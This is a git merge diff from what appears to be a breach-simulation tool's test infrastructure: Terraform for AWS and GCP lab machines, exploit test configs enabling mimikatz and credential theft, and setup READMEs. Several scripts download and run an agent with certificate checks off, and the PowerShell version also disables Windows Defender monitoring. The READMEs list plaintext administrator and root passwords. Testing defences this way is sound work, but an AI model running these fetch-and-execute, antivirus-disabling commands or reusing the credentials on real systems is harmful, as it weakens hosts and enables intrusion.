Merge remote-tracking branch 'upstream/develop' into map_generation_test
# Conflicts: # envs/monkey_zoo/blackbox/test_blackbox.py
|
@ -0,0 +1,3 @@
|
|||
[submodule "monkey/monkey_island/cc/services/attack/attack_data"]
|
||||
path = monkey/monkey_island/cc/services/attack/attack_data
|
||||
url = https://github.com/mitre/cti
|
|
@ -85,7 +85,7 @@ fi
|
|||
log_message "Cloning files from git"
|
||||
branch=${2:-"develop"}
|
||||
if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned
|
||||
git clone --single-branch -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error
|
||||
git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error
|
||||
chmod 774 -R "${monkey_home}"
|
||||
fi
|
||||
|
||||
|
|
|
@ -48,7 +48,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
|
|||
}
|
||||
|
||||
# Download the monkey
|
||||
$command = "git clone --single-branch -b $branch $MONKEY_GIT_URL $monkey_home 2>&1"
|
||||
$command = "git clone --single-branch --recurse-submodules -b $branch $MONKEY_GIT_URL $monkey_home 2>&1"
|
||||
Write-Output $command
|
||||
$output = cmd.exe /c $command
|
||||
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\bin")
|
||||
|
|
|
@ -0,0 +1,57 @@
|
|||
# Monkey maker
|
||||
|
||||
## About
|
||||
|
||||
Monkey maker is an environment on AWS that
|
||||
is designed for monkey binary building.
|
||||
This environment is deployed using terraform scripts
|
||||
located in this directory.
|
||||
|
||||
## Setup
|
||||
|
||||
To setup you need to put `accessKeys` file into `./aws_keys` directory.
|
||||
|
||||
Contents of `accessKeys` file should be as follows:
|
||||
|
||||
```ini
|
||||
[default]
|
||||
aws_access_key_id = <...>
|
||||
aws_secret_access_key = <...>
|
||||
```
|
||||
Also review `./terraform/config.tf` file.
|
||||
|
||||
Launch the environment by going into `terraform` folder and running
|
||||
```
|
||||
terraform init
|
||||
terraform apply
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
To login to windows use Administrator: %HwuzI!Uzsyfa=cB*XaQ6xxHqopfj)h) credentials
|
||||
|
||||
You'll find docker files in `/home/ubuntu/docker_envs/linux/...`
|
||||
|
||||
To build docker image for 32 bit linux:
|
||||
```
|
||||
cd /home/ubuntu/docker_envs/linux/py3-32
|
||||
sudo docker build -t builder32 .
|
||||
```
|
||||
|
||||
To build docker image for 64 bit linux:
|
||||
```
|
||||
cd /home/ubuntu/docker_envs/linux/py3-64
|
||||
sudo docker build -t builder64 .
|
||||
```
|
||||
|
||||
To build 32 bit monkey binary:
|
||||
```
|
||||
cd /home/ubuntu/monkey_folder/monkey
|
||||
sudo docker run -v "$(pwd):/src" builder32 -c "export SRCDIR=/src/infection_monkey && /entrypoint.sh"
|
||||
```
|
||||
|
||||
To build 64 bit monkey binary:
|
||||
```
|
||||
cd /home/ubuntu/monkey_folder/monkey
|
||||
sudo docker run -v "$(pwd):/src" builder64 -c "export SRCDIR=/src/infection_monkey && /entrypoint.sh"
|
||||
```
|
|
@ -0,0 +1,4 @@
|
|||
# Ignore everything in this directory
|
||||
*
|
||||
# Except this file
|
||||
!.gitignore
|
|
@ -0,0 +1,5 @@
|
|||
provider "aws" {
|
||||
version = "~> 2.0"
|
||||
region = "eu-central-1"
|
||||
shared_credentials_file = "../aws_keys/accessKeys"
|
||||
}
|
|
@ -0,0 +1,61 @@
|
|||
resource "aws_vpc" "monkey_maker" {
|
||||
cidr_block = "10.0.0.0/24"
|
||||
enable_dns_support = true
|
||||
tags = {
|
||||
Name = "monkey_maker_vpc"
|
||||
}
|
||||
}
|
||||
|
||||
resource "aws_internet_gateway" "monkey_maker_gateway" {
|
||||
vpc_id = "${aws_vpc.monkey_maker.id}"
|
||||
|
||||
tags = {
|
||||
Name = "monkey_maker_gateway"
|
||||
}
|
||||
}
|
||||
|
||||
// create routing table which points to the internet gateway
|
||||
resource "aws_route_table" "monkey_maker_route" {
|
||||
vpc_id = "${aws_vpc.monkey_maker.id}"
|
||||
|
||||
route {
|
||||
cidr_block = "0.0.0.0/0"
|
||||
gateway_id = "${aws_internet_gateway.monkey_maker_gateway.id}"
|
||||
}
|
||||
|
||||
tags = {
|
||||
Name = "monkey_maker_route"
|
||||
}
|
||||
}
|
||||
|
||||
// associate the routing table with the subnet
|
||||
resource "aws_route_table_association" "subnet-association" {
|
||||
subnet_id = "${aws_subnet.main.id}"
|
||||
route_table_id = "${aws_route_table.monkey_maker_route.id}"
|
||||
}
|
||||
|
||||
resource "aws_subnet" "main" {
|
||||
vpc_id = "${aws_vpc.monkey_maker.id}"
|
||||
cidr_block = "10.0.0.0/24"
|
||||
|
||||
tags = {
|
||||
Name = "Main"
|
||||
}
|
||||
}
|
||||
|
||||
resource "aws_security_group" "monkey_maker_sg" {
|
||||
name = "monkey_maker_sg"
|
||||
description = "Allow remote access to the island"
|
||||
vpc_id = "${aws_vpc.monkey_maker.id}"
|
||||
|
||||
egress {
|
||||
from_port = 0
|
||||
to_port = 0
|
||||
protocol = "-1"
|
||||
cidr_blocks = ["0.0.0.0/0"]
|
||||
}
|
||||
|
||||
tags = {
|
||||
Name = "monkey_maker_sg"
|
||||
}
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
resource "aws_instance" "island_windows" {
|
||||
ami = "ami-033b3ef27f8d1881d"
|
||||
instance_type = "t2.micro"
|
||||
private_ip = "10.0.0.251"
|
||||
subnet_id = "${aws_subnet.main.id}"
|
||||
key_name = "monkey_maker"
|
||||
tags = {
|
||||
Name = "monkey_maker_windows"
|
||||
}
|
||||
vpc_security_group_ids = ["${aws_security_group.monkey_maker_sg.id}"]
|
||||
associate_public_ip_address = true
|
||||
}
|
||||
|
||||
resource "aws_instance" "island_linux" {
|
||||
ami = "ami-0495203541087740a"
|
||||
instance_type = "t2.micro"
|
||||
private_ip = "10.0.0.252"
|
||||
subnet_id = "${aws_subnet.main.id}"
|
||||
key_name = "monkey_maker"
|
||||
tags = {
|
||||
Name = "monkey_maker_linux"
|
||||
}
|
||||
vpc_security_group_ids = ["${aws_security_group.monkey_maker_sg.id}"]
|
||||
associate_public_ip_address = true
|
||||
}
|
|
@ -1,8 +1,18 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [],
|
||||
"exploit_user_list": []
|
||||
"exploit_password_list": [
|
||||
"Password1!",
|
||||
"1234",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"Administrator",
|
||||
"root",
|
||||
"user",
|
||||
"vakaris_zilius"
|
||||
]
|
||||
},
|
||||
"general": {
|
||||
"should_exploit": true
|
||||
|
@ -39,16 +49,13 @@
|
|||
"exploiter_classes": [
|
||||
"Struts2Exploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": true
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
|
@ -98,7 +105,7 @@
|
|||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 1,
|
||||
"keep_tunnel_open_time": 60,
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
|
@ -126,24 +133,32 @@
|
|||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": []
|
||||
"post_breach_actions": [
|
||||
"CommunicateAsNewUser"
|
||||
]
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 30,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 15,
|
||||
"victims_max_find": 100
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": false,
|
||||
"extract_azure_creds": false,
|
||||
"should_use_mimikatz": false
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true,
|
||||
"system_info_collectors_classes": [
|
||||
"EnvironmentCollector",
|
||||
"AwsCollector",
|
||||
"HostnameCollector",
|
||||
"ProcessListCollector"
|
||||
]
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 100
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
|
@ -155,7 +170,7 @@
|
|||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 300,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
|
@ -168,7 +183,8 @@
|
|||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
7001,
|
||||
8088
|
||||
]
|
||||
}
|
||||
}
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
"Password1!",
|
||||
"3Q=(Ge(+&w]*",
|
||||
"`))jU7L(w}",
|
||||
"t67TC5ZDmz",
|
||||
"12345678",
|
||||
"another_one",
|
||||
"and_another_one",
|
||||
|
@ -30,7 +31,8 @@
|
|||
"subnet_scan_list": [
|
||||
"10.2.2.9",
|
||||
"10.2.1.10",
|
||||
"10.2.0.11"
|
||||
"10.2.0.11",
|
||||
"10.2.0.12"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
|
|
|
@ -16,7 +16,7 @@ DEFAULT_TIMEOUT_SECONDS = 5*60
|
|||
MACHINE_BOOTUP_WAIT_SECONDS = 30
|
||||
GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16',
|
||||
'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10',
|
||||
'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8']
|
||||
'tunneling-11', 'tunneling-12', 'weblogic-18', 'weblogic-19', 'shellshock-8']
|
||||
LOG_DIR_PATH = "./logs"
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
@ -116,9 +116,8 @@ class TestMonkeyBlackbox(object):
|
|||
#def test_shellshock_exploiter(self, island_client):
|
||||
# TestMonkeyBlackbox.run_exploitation_test(island_client, "SHELLSHOCK.conf", "Shellschock_exploiter")
|
||||
#
|
||||
#@pytest.mark.xfail(reason="Test fails randomly - still investigating.")
|
||||
#def test_tunneling(self, island_client):
|
||||
# TestMonkeyBlackbox.run_exploitation_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 10 * 60)
|
||||
# TestMonkeyBlackbox.run_exploitation_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 15 * 60)
|
||||
#
|
||||
#def test_wmi_and_mimikatz_exploiters(self, island_client):
|
||||
# TestMonkeyBlackbox.run_exploitation_test(island_client, "WMI_MIMIKATZ.conf", "WMI_exploiter,_mimikatz")
|
||||
|
@ -138,5 +137,3 @@ class TestMonkeyBlackbox(object):
|
|||
island_client,
|
||||
"PERFORMANCE.conf",
|
||||
timeout_in_seconds=10*60)
|
||||
|
||||
|
||||
|
|
|
@ -546,6 +546,38 @@ fullTest.conf is a good config to start, because it covers all machines.
|
|||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021463" class="anchor"></span>Nr. <strong>12</strong> Tunneling M4</p>
|
||||
<p>(10.2.0.12)</p></th>
|
||||
<th>(Exploitable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Windows server 2019 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default service’s port:</td>
|
||||
<td>445</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Root password:</td>
|
||||
<td>t67TC5ZDmz</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Server’s config:</td>
|
||||
<td>Default</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>Accessible only trough Nr.10</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
|
|
|
@ -201,6 +201,21 @@ resource "google_compute_instance_from_template" "tunneling-11" {
|
|||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "tunneling-12" {
|
||||
name = "${local.resource_prefix}tunneling-12"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.tunneling-12.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="${local.resource_prefix}tunneling2-main"
|
||||
network_ip="10.2.0.12"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "sshkeys-11" {
|
||||
name = "${local.resource_prefix}sshkeys-11"
|
||||
source_instance_template = local.default_ubuntu
|
||||
|
|
|
@ -0,0 +1,79 @@
|
|||
# OS compatibility
|
||||
|
||||
## About
|
||||
|
||||
OS compatibility is an environment on AWS that
|
||||
is designed to test monkey binary compatibility on
|
||||
different operating systems.
|
||||
This environment is deployed using terraform scripts
|
||||
located in this directory.
|
||||
|
||||
## Setup
|
||||
|
||||
To setup you need to put `accessKeys` file into `./aws_keys` directory.
|
||||
|
||||
Contents of `accessKeys` file should be as follows:
|
||||
|
||||
```
|
||||
[default]
|
||||
aws_access_key_id = <...>
|
||||
aws_secret_access_key = <...>
|
||||
```
|
||||
Also review `./terraform/config.tf` file.
|
||||
|
||||
Launch the environment by going into `terraform` folder and running
|
||||
```angular2html
|
||||
terraform init
|
||||
terraform apply
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
0. Add your machine's IP to the `os_compat_island` security group ingress rules.
|
||||
1. Launch os_compat_ISLAND machine and upload your binaries/update island. Reset island environment.
|
||||
2. Launch/Reboot all other os_compat test machines (Can be filtered with tag "Purpose: os_compat_instance")
|
||||
3. Wait until machines boot and run monkey
|
||||
4. Launch `test_compatibility.py` pytest script with island ip parameter
|
||||
(e.g. `test_compatibility.py --island 111.111.111.111:5000`)
|
||||
|
||||
## Machines
|
||||
|
||||
Since island machine is built from custom AMI it already has the following credentials:
|
||||
|
||||
Administrator: %tPHGz8ZuQsBnEUgdpz!6f&elGnFy?;.
|
||||
|
||||
For windows_2008_r2 Administrator:AGE(MP..txL
|
||||
|
||||
The following machines does not download monkey automatically, so you'll have to manually check them:
|
||||
|
||||
- os_compat_kali_2019
|
||||
- os_compat_oracle_6
|
||||
- os_compat_oracle_7
|
||||
- windows_2003_r2_32
|
||||
- windows_2003
|
||||
- windows_2008_r2
|
||||
|
||||
A quick reference for usernames on different machines (if in doubt check official docs):
|
||||
- Ubuntu: ubuntu
|
||||
- Oracle: clckwrk
|
||||
- CentOS: centos
|
||||
- Everything else: ec2-user
|
||||
|
||||
To manually verify the machine is compatible use commands to download and execute the monkey.
|
||||
Also, add your IP to `os_compat_instance` security group.
|
||||
|
||||
Example commands:
|
||||
- Powershell:
|
||||
```cmd
|
||||
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
|
||||
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
|
||||
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-64.exe' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing
|
||||
C:\windows\temp\monkey-windows-64.exe m0nk3y -s 10.0.0.251:5000
|
||||
```
|
||||
|
||||
- Bash:
|
||||
```shell script
|
||||
wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -k -o monkey-linux-64
|
||||
chmod +x ./monkey-linux-64
|
||||
./monkey-linux-64 m0nk3y -s 10.0.0.251:5000
|
||||
```
|
|
@ -0,0 +1,4 @@
|
|||
# Ignore everything in this directory
|
||||
*
|
||||
# Except this file
|
||||
!.gitignore
|
|
@ -0,0 +1,11 @@
|
|||
import pytest
|
||||
|
||||
|
||||
def pytest_addoption(parser):
|
||||
parser.addoption("--island", action="store", default="",
|
||||
help="Specify the Monkey Island address (host+port).")
|
||||
|
||||
|
||||
@pytest.fixture(scope='module')
|
||||
def island(request):
|
||||
return request.config.getoption("--island")
|
|
@ -0,0 +1,5 @@
|
|||
provider "aws" {
|
||||
version = "~> 2.0"
|
||||
region = "eu-central-1"
|
||||
shared_credentials_file = "../aws_keys/accessKeys"
|
||||
}
|
|
@ -0,0 +1,92 @@
|
|||
resource "aws_vpc" "os_compat_vpc" {
|
||||
cidr_block = "10.0.0.0/24"
|
||||
enable_dns_support = true
|
||||
tags = {
|
||||
Name = "os_compat_vpc"
|
||||
}
|
||||
}
|
||||
|
||||
resource "aws_internet_gateway" "os_compat_gateway" {
|
||||
vpc_id = "${aws_vpc.os_compat_vpc.id}"
|
||||
|
||||
tags = {
|
||||
Name = "os_compat_gateway"
|
||||
}
|
||||
}
|
||||
|
||||
// create routing table which points to the internet gateway
|
||||
resource "aws_route_table" "os_compat_route" {
|
||||
vpc_id = "${aws_vpc.os_compat_vpc.id}"
|
||||
|
||||
route {
|
||||
cidr_block = "0.0.0.0/0"
|
||||
gateway_id = "${aws_internet_gateway.os_compat_gateway.id}"
|
||||
}
|
||||
|
||||
tags = {
|
||||
Name = "os_compat_route"
|
||||
}
|
||||
}
|
||||
|
||||
// associate the routing table with the subnet
|
||||
resource "aws_route_table_association" "subnet-association" {
|
||||
subnet_id = "${aws_subnet.main.id}"
|
||||
route_table_id = "${aws_route_table.os_compat_route.id}"
|
||||
}
|
||||
|
||||
resource "aws_subnet" "main" {
|
||||
vpc_id = "${aws_vpc.os_compat_vpc.id}"
|
||||
cidr_block = "10.0.0.0/24"
|
||||
|
||||
tags = {
|
||||
Name = "Main"
|
||||
}
|
||||
}
|
||||
|
||||
resource "aws_security_group" "os_compat_island" {
|
||||
name = "os_compat_island"
|
||||
description = "Allow remote access to the island"
|
||||
vpc_id = "${aws_vpc.os_compat_vpc.id}"
|
||||
|
||||
ingress {
|
||||
from_port = 0
|
||||
to_port = 0
|
||||
protocol = "-1"
|
||||
cidr_blocks = ["10.0.0.0/24"]
|
||||
}
|
||||
|
||||
egress {
|
||||
from_port = 0
|
||||
to_port = 0
|
||||
protocol = "-1"
|
||||
cidr_blocks = ["0.0.0.0/0"]
|
||||
}
|
||||
|
||||
tags = {
|
||||
Name = "os_compat_island"
|
||||
}
|
||||
}
|
||||
|
||||
resource "aws_security_group" "os_compat_instance" {
|
||||
name = "os_compat_instance"
|
||||
description = "Allow remote access to the machines"
|
||||
vpc_id = "${aws_vpc.os_compat_vpc.id}"
|
||||
|
||||
ingress {
|
||||
from_port = 0
|
||||
to_port = 0
|
||||
protocol = "-1"
|
||||
cidr_blocks = ["10.0.0.0/24"]
|
||||
}
|
||||
|
||||
egress {
|
||||
from_port = 0
|
||||
to_port = 0
|
||||
protocol = "-1"
|
||||
cidr_blocks = ["0.0.0.0/0"]
|
||||
}
|
||||
|
||||
tags = {
|
||||
Name = "os_compat_instance"
|
||||
}
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
resource "aws_instance" "os_test_machine" {
|
||||
ami = "${var.ami}"
|
||||
instance_type = "${var.type}"
|
||||
private_ip = "${var.ip}"
|
||||
subnet_id = "${data.aws_subnet.main.id}"
|
||||
key_name = "os_compat"
|
||||
tags = {
|
||||
Name = "os_compat_${var.name}"
|
||||
Purpose = "os_compat_instance"
|
||||
}
|
||||
vpc_security_group_ids = ["${data.aws_security_group.os_compat_instance.id}"]
|
||||
associate_public_ip_address = true
|
||||
user_data = "${var.user_data}"
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
variable "ami" {type=string}
|
||||
variable "ip" {type=string}
|
||||
variable "name" {type=string}
|
||||
variable "type" {
|
||||
type=string
|
||||
default="t2.micro"
|
||||
}
|
||||
variable "user_data" {
|
||||
type=string
|
||||
default=""
|
||||
}
|
||||
variable "env_vars" {
|
||||
type = object({
|
||||
subnet_id = string
|
||||
vpc_security_group_ids = string
|
||||
})
|
||||
}
|
||||
|
||||
data "aws_subnet" "main" {
|
||||
id = "${var.env_vars.subnet_id}"
|
||||
}
|
||||
|
||||
data "aws_security_group" "os_compat_instance" {
|
||||
id = "${var.env_vars.vpc_security_group_ids}"
|
||||
}
|
|
@ -0,0 +1,371 @@
|
|||
// Instances of machines in os_compat environment
|
||||
// !!! Don't forget to add machines to test_compatibility.py if you add here !!!
|
||||
|
||||
|
||||
resource "aws_instance" "island" {
|
||||
ami = "ami-004f0217ce761fc9a"
|
||||
instance_type = "t2.micro"
|
||||
private_ip = "10.0.0.251"
|
||||
subnet_id = "${aws_subnet.main.id}"
|
||||
key_name = "os_compat"
|
||||
tags = {
|
||||
Name = "os_compat_ISLAND"
|
||||
}
|
||||
vpc_security_group_ids = ["${aws_security_group.os_compat_island.id}"]
|
||||
associate_public_ip_address = true
|
||||
root_block_device {
|
||||
volume_size = "30"
|
||||
volume_type = "standard"
|
||||
delete_on_termination = true
|
||||
}
|
||||
}
|
||||
|
||||
locals {
|
||||
env_vars = {
|
||||
subnet_id = "${aws_subnet.main.id}"
|
||||
vpc_security_group_ids = "${aws_security_group.os_compat_instance.id}"
|
||||
}
|
||||
|
||||
user_data_linux_64 = <<EOF
|
||||
Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
|
||||
--//
|
||||
Content-Type: text/cloud-config; charset="us-ascii"
|
||||
MIME-Version: 1.0
|
||||
Content-Transfer-Encoding: 7bit
|
||||
Content-Disposition: attachment; filename="cloud-config.txt"
|
||||
|
||||
#cloud-config
|
||||
cloud_final_modules:
|
||||
- [scripts-user, always]
|
||||
|
||||
--//
|
||||
Content-Type: text/x-shellscript; charset="us-ascii"
|
||||
MIME-Version: 1.0
|
||||
Content-Transfer-Encoding: 7bit
|
||||
Content-Disposition: attachment; filename="userdata.txt"
|
||||
#!/bin/bash
|
||||
rm ./monkey-linux-64
|
||||
wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -k -o monkey-linux-64
|
||||
chmod +x ./monkey-linux-64
|
||||
./monkey-linux-64 m0nk3y -s 10.0.0.251:5000
|
||||
--//
|
||||
EOF
|
||||
|
||||
user_data_linux_32 = <<EOF
|
||||
Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
|
||||
--//
|
||||
Content-Type: text/cloud-config; charset="us-ascii"
|
||||
MIME-Version: 1.0
|
||||
Content-Transfer-Encoding: 7bit
|
||||
Content-Disposition: attachment; filename="cloud-config.txt"
|
||||
|
||||
#cloud-config
|
||||
cloud_final_modules:
|
||||
- [scripts-user, always]
|
||||
|
||||
--//
|
||||
Content-Type: text/x-shellscript; charset="us-ascii"
|
||||
MIME-Version: 1.0
|
||||
Content-Transfer-Encoding: 7bit
|
||||
Content-Disposition: attachment; filename="userdata.txt"
|
||||
#!/bin/bash
|
||||
rm ./monkey-linux-32
|
||||
wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-32 -O ./monkey-linux-32 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-32 -k -o monkey-linux-32
|
||||
chmod +x ./monkey-linux-32
|
||||
./monkey-linux-32 m0nk3y -s 10.0.0.251:5000
|
||||
--//
|
||||
EOF
|
||||
|
||||
user_data_windows_64 = <<EOF
|
||||
<powershell>
|
||||
add-type @"
|
||||
using System.Net;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
public class TrustAllCertsPolicy : ICertificatePolicy {
|
||||
public bool CheckValidationResult(
|
||||
ServicePoint srvPoint, X509Certificate certificate,
|
||||
WebRequest request, int certificateProblem) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
"@
|
||||
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
|
||||
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
|
||||
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-64.exe' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing
|
||||
C:\windows\temp\monkey-windows-64.exe m0nk3y -s 10.0.0.251:5000
|
||||
</powershell>
|
||||
<persist>true</persist>
|
||||
EOF
|
||||
|
||||
user_data_windows_32 = <<EOF
|
||||
<powershell>
|
||||
add-type @"
|
||||
using System.Net;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
public class TrustAllCertsPolicy : ICertificatePolicy {
|
||||
public bool CheckValidationResult(
|
||||
ServicePoint srvPoint, X509Certificate certificate,
|
||||
WebRequest request, int certificateProblem) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
"@
|
||||
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
|
||||
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
|
||||
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-32.exe' -OutFile 'C:\windows\temp\monkey-windows-32.exe' -UseBasicParsing
|
||||
C:\windows\temp\monkey-windows-32.exe m0nk3y -s 10.0.0.251:5000
|
||||
</powershell>
|
||||
<persist>true</persist>
|
||||
EOF
|
||||
}
|
||||
|
||||
module "centos_6" {
|
||||
source = "./instance_template"
|
||||
name = "centos_6"
|
||||
ami = "ami-07fa74e425f2abf29"
|
||||
ip = "10.0.0.36"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "centos_7" {
|
||||
source = "./instance_template"
|
||||
name = "centos_7"
|
||||
ami = "ami-0034b52a39b9fb0e8"
|
||||
ip = "10.0.0.37"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "centos_8" {
|
||||
source = "./instance_template"
|
||||
name = "centos_8"
|
||||
ami = "ami-0034c84e4e9c557bd"
|
||||
ip = "10.0.0.38"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "suse_12" {
|
||||
source = "./instance_template"
|
||||
name = "suse_12"
|
||||
ami = "ami-07b12b913a7e36b08"
|
||||
ip = "10.0.0.42"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "suse_11" {
|
||||
source = "./instance_template"
|
||||
name = "suse_11"
|
||||
ami = "ami-0083986c"
|
||||
ip = "10.0.0.41"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "kali_2019" {
|
||||
source = "./instance_template"
|
||||
name = "kali_2019"
|
||||
ami = "ami-05d64b1d0f967d4bf"
|
||||
ip = "10.0.0.99"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
// Requires m3.medium which usually isn't available
|
||||
//module "rhel_5" {
|
||||
// source = "./instance_template"
|
||||
// name = "rhel_5"
|
||||
// ami = "ami-a48cbfb9"
|
||||
// type = "m3.medium"
|
||||
// ip = "10.0.0.85"
|
||||
// env_vars = "${local.env_vars}"
|
||||
// user_data = "${local.user_data_linux_64}"
|
||||
//}
|
||||
|
||||
module "rhel_6" {
|
||||
source = "./instance_template"
|
||||
name = "rhel_6"
|
||||
ami = "ami-0af3f0e0918f47bcf"
|
||||
ip = "10.0.0.86"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "rhel_7" {
|
||||
source = "./instance_template"
|
||||
name = "rhel_7"
|
||||
ami = "ami-0b5edb134b768706c"
|
||||
ip = "10.0.0.87"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "rhel_8" {
|
||||
source = "./instance_template"
|
||||
name = "rhel_8"
|
||||
ami = "ami-0badcc5b522737046"
|
||||
ip = "10.0.0.88"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "debian_7" {
|
||||
source = "./instance_template"
|
||||
name = "debian_7"
|
||||
ami = "ami-0badcc5b522737046"
|
||||
ip = "10.0.0.77"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "debian_8" {
|
||||
source = "./instance_template"
|
||||
name = "debian_8"
|
||||
ami = "ami-0badcc5b522737046"
|
||||
ip = "10.0.0.78"
|
||||
env_vars = "${local.env_vars}"
|
||||
user_data = "${local.user_data_linux_64}"
|
||||
}
|
||||
|
||||
module "debian_9" {
|
||||
